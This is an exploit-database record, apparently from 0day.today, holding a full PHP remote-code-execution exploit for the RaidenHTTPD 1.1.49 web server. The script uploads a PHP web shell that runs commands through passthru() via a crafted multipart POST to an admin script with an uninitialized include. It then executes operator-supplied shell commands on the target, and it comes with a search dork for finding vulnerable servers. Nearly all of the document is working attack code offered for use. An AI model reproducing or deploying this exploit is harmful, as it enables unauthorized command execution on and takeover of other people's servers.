RaidenHTTPD 1.1.49 (SoftParserFileXml) Remote Code Execution Expl

{"type": "zdt", "lastseen": "2016-04-19T23:51:56", "bulletinFamily": "exploit", "cvelist": [], "history": [], "title": "RaidenHTTPD 1.1.49 (SoftParserFileXml) Remote Code Execution Expl", "published": "2006-09-08T00:00:00", "href": "http://0day.today/exploit/description/8750", "cvss": {"vector": "NONE", "score": 0}, "description": "Exploit for unknown platform in category remote exploits", "hash": "1a36b6eb583d89a8a11caa88dc0d6072e7cf0e7cb6c8f36adaeaa7c7fe8da9ca", "references": [], "objectVersion": "1.0", "edition": 1, "sourceData": "====================================================================\r\nRaidenHTTPD 1.1.49 (SoftParserFileXml) Remote Code Execution Exploit\r\n====================================================================\r\n\r\n#!/usr/bin/php -q -d short_open_tag=on\r\n<?\r\nprint_r('\r\n-----------------------------------------------------------------------------\r\nRaidenHTTPD/1.1.49 remote commands execution exploit\r\nby rgod rgod@autistici.org\r\nsite: http://retrogod.altervista.org\r\ndork: Powered.by.RaidenHTTPD +intitle:index.of | inurl:raidenhttpd-admin\r\n-johnny -GHDB\r\n-----------------------------------------------------------------------------\r\n');\r\nif ($argc<3) {\r\nprint_r('\r\n-----------------------------------------------------------------------------\r\nUsage: php '.$argv[0].' host cmd OPTIONS\r\nhost: target server (ip/hostname)\r\ncmd: a shell command\r\nOptions:\r\n -p[port]: specify a port other than 80\r\n -P[ip:port]: specify a proxy\r\nExample:\r\nphp '.$argv[0].' 2.2.2.2 ver -P1.1.1.1:80\r\nphp '.$argv[0].' 1.1.1.1 dir /q -p81\r\n-----------------------------------------------------------------------------\r\n');\r\ndie;\r\n}\r\n/*\r\nsoftware site: http://www.raidenhttpd.com/en/\r\ndescription: \"RaidenHTTPD is a fully featured web server software for Windows 98 / Me / 2000 / XP / 2003 platforms.\"\r\n\r\nexplanaition: this software carries a PHP interpreter (4.4.1 version...)\r\nand you have an administrative interface in /raidenhttpd-admin folder\r\nbut... you can have anauthorized access to some scripts in\r\n/raidenhttpd-admin/slice folder, in check.php at line 35 u have:\r\n\r\n...\r\ninclude_once($SoftParserFileXml);\t// This is the parser class.\r\n...\r\n\r\n$SoftParserFileXml var is not initizialized so u can include\r\nan arbitrary uploaded temporary file or arbitrary http location\r\n\r\nalso register_globals and allow_url_fopen are enabled by default (harakiri?)\r\n\r\n*/\r\nerror_reporting(0);\r\nini_set(\"max_execution_time\",0);\r\nini_set(\"default_socket_timeout\",5);\r\n\r\nfunction quick_dump($string)\r\n{\r\n $result='';$exa='';$cont=0;\r\n for ($i=0; $i<=strlen($string)-1; $i++)\r\n {\r\n if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))\r\n {$result.=\" .\";}\r\n else\r\n {$result.=\" \".$string[$i];}\r\n if (strlen(dechex(ord($string[$i])))==2)\r\n {$exa.=\" \".dechex(ord($string[$i]));}\r\n else\r\n {$exa.=\" 0\".dechex(ord($string[$i]));}\r\n $cont++;if ($cont==15) {$cont=0; $result.=\"\\r\\n\"; $exa.=\"\\r\\n\";}\r\n }\r\n return $exa.\"\\r\\n\".$result;\r\n}\r\n$proxy_regex = '(\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}\\b)';\r\nfunction sendpacketii($packet)\r\n{\r\n global $proxy, $host, $port, $html, $proxy_regex;\r\n if ($proxy=='') {\r\n $ock=fsockopen(gethostbyname($host),$port);\r\n if (!$ock) {\r\n echo 'No response from '.$host.':'.$port; die;\r\n }\r\n }\r\n else {\r\n\t$c = preg_match($proxy_regex,$proxy);\r\n if (!$c) {\r\n echo 'Not a valid proxy...';die;\r\n }\r\n $parts=explode(':',$proxy);\r\n echo \"Connecting to \".$parts[0].\":\".$parts[1].\" proxy...\\r\\n\";\r\n $ock=fsockopen($parts[0],$parts[1]);\r\n if (!$ock) {\r\n echo 'No response from proxy...';die;\r\n\t}\r\n }\r\n fputs($ock,$packet);\r\n if ($proxy=='') {\r\n $html='';\r\n while (!feof($ock)) {\r\n $html.=fgets($ock);\r\n }\r\n }\r\n else {\r\n $html='';\r\n while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {\r\n $html.=fread($ock,1);\r\n }\r\n }\r\n fclose($ock);\r\n #debug\r\n #echo \"\\r\\n\".$html;\r\n}\r\n\r\n$host=$argv[1];\r\n$cmd=\"\";\r\n$port=80;\r\n$proxy=\"\";\r\nfor ($i=2; $i<$argc; $i++){\r\n$temp=$argv[$i][0].$argv[$i][1];\r\nif (($temp<>\"-p\") and ($temp<>\"-P\")) {$cmd.=\" \".$argv[$i];}\r\nif ($temp==\"-p\")\r\n{\r\n $port=str_replace(\"-p\",\"\",$argv[$i]);\r\n}\r\nif ($temp==\"-P\")\r\n{\r\n $proxy=str_replace(\"-P\",\"\",$argv[$i]);\r\n}\r\n}\r\nif ($proxy=='') {$p=\"/\";} else {$p='http://'.$host.':'.$port.\"/\";}\r\n\r\n$data =\"-----------------------------7d529a1d23092a\\r\\n\";\r\n$data.=\"Content-Disposition: form-data; name=\\\"SoftParserFileXml\\\"; filename=\\\"suntzu\\\";\\r\\n\";\r\n$data.=\"Content-Type: image/jpeg;\\r\\n\\r\\n\";\r\n$data.=\"<?php set_time_limit(0); echo 'my_delim';passthru(\\$_SERVER['HTTP_SUNTZU']);die;?>\\r\\n\";\r\n$data.=\"-----------------------------7d529a1d23092a--\\r\\n\";\r\n$packet =\"POST \".$p.\"raidenhttpd-admin/slice/check.php HTTP/1.0\\r\\n\";\r\n$packet.=\"Host: \".$host.\"\\r\\n\";\r\n$packet.=\"SUNTZU: $cmd\\r\\n\";\r\n$packet.=\"Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\\r\\n\";\r\n$packet.=\"Content-Length: \".strlen($data).\"\\r\\n\";\r\n$packet.=\"Accept: text/plain\\r\\n\";\r\n$packet.=\"Connection: Close\\r\\n\\r\\n\";\r\n$packet.=$data;\r\nsendpacketii($packet);\r\nif (strstr($html,\"my_delim\")){\r\necho \"exploit succeeded...\\n\";$temp=explode(\"my_delim\",$html);die($temp[1]);\r\n}\r\necho \"exploit failed...\";\r\n\r\n?>\r\n\r\n\n# 0day.today [2016-04-19] #", "id": "1337DAY-ID-8750", "sourceHref": "http://0day.today/exploit/8750", "modified": "2006-09-08T00:00:00", "reporter": "rgod", "enchantments": {"vulnersScore": 5.5}}